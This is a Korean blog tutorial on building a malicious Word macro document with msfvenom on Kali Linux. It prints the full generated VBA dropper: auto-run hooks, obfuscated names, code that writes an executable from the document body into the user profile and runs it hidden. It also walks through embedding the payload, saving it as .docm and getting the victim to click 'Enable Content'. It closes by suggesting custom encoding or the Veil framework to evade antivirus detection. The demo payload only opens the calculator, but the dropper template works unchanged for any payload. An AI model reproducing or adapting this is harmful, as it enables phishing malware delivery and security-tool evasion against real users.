칼리 리눅스에서 msfvenom으로 계산기를 출력하는 쉘코드를 생성한다.


쉘코드를 보면 MS워드에서 매크로 주입 시 사용되는 비주얼베이직(Visual Basic) 코드가 있고, 본문 내용 주입 시 사용되는 헥사값 쉘코드가 존재한다.

 

○ msfvenom -p windows/exec CMD=calc.exe -b '\x00\xff' -f vba-exe > /root/Desktop/daze


'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
 
Sub Auto_Open()
         Xroke12
End Sub
 
Sub Xroke12()
         Dim Xroke7 As Integer
         Dim Xroke1 As String
         Dim Xroke2 As String
         Dim Xroke3 As Integer
         Dim Xroke4 As Paragraph
         Dim Xroke8 As Integer
         Dim Xroke9 As Boolean
         Dim Xroke5 As Integer
         Dim Xroke11 As String
         Dim Xroke6 As Byte
         Dim Kcrtdpebnc as String
         Kcrtdpebnc = "Kcrtdpebnc"
         Xroke1 = "RGnBUjvab.exe"
         Xroke2 = Environ("USERPROFILE")
         ChDrive (Xroke2)
         ChDir (Xroke2)
         Xroke3 = FreeFile()
         Open Xroke1 For Binary As Xroke3
         For Each Xroke4 in ActiveDocument.Paragraphs
                 DoEvents
                          Xroke11 = Xroke4.Range.Text
                 If (Xroke9 = True) Then
                          Xroke8 = 1
                          While (Xroke8 < Len(Xroke11))
                                   Xroke6 = Mid(Xroke11,Xroke8,4)
                                   Put #Xroke3, , Xroke6
                                   Xroke8 = Xroke8 + 4
                          Wend
                 ElseIf (InStr(1,Xroke11,Kcrtdpebnc) > 0 And Len(Xroke11) > 0) Then
                          Xroke9 = True
                 End If
         Next
         Close #Xroke3
         Xroke13(Xroke1)
End Sub
 
Sub Xroke13(Xroke10 As String)
         Dim Xroke7 As Integer
         Dim Xroke2 As String
         Xroke2 = Environ("USERPROFILE")
         ChDrive (Xroke2)
         ChDir (Xroke2)
         Xroke7 = Shell(Xroke10, vbHide)
End Sub
 
Sub AutoOpen()
         Auto_Open
End Sub
 
Sub Workbook_Open()
         Auto_Open
End Sub
 
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
 
Kcrtdpebnc
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00
' --- 중략 ---

msfvenom 명령어로 생성된 daze 파일 하단에 있는 쉘코드를 MS워드 본문에 붙여넣기 한다.



MS워드에서 Alt + F11을 누르면 비주얼베이직 코드를 입력할 수 있는 매크로 창이 출력된다.


좌측 프로젝트의 ThisDocument를 클릭하고, 상단의 (일반)을 Document로 변경한 후 daze 파일에 있는 비주얼베이직 코드를 주입한다.



매크로 창에서 저장하기 단추를 클릭하면 다음과 같은 창이 출력되는데, "아니오" 버튼을 클릭한다.



파일 형식은 Word 매크로 사용 문서(*.docm)으로 변경 후 저장 단추를 클릭한다.


일반적으로 MS워드 파일의 확장자는 doc, docx이다. 하지만, 매크로 형식의 파일은 확장자가 docm이다. (엑셀, 파워포인트 동일)



쉘코드가 주입된 문서(daze.docm)을 실행하면 상단에 보안 경고 메시지가 출력되는데, 콘텐츠 사용 버튼을 클릭한다.



콘텐츠 사용 버튼을 클릭한 수간 매크로 내의 쉘코드가 실행되어 계산기가 정상적으로 실행된다.


쉘코드가 삽입된 MS워드를 실행하면 기본적으로 앱체크, 백신, Windows Defender 프로그램에서 탐지 및 차단을 한다. 이는 메타스플로잇에서 생성한 쉘코드는 널리 알려졌으므로 탐지 코드가 전용되어 있는 것이다.


이를 우회하려면 커스텀 인코딩을 적용하거나 베일 프레임워크로 쉘코드를 생성하면 된다.



▶ Metasploit(msfvenom) 쉘코드 디코딩

▶ Metasploit msfvenom 기능 및 사용법

▶ 악성메일 공격패턴

▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유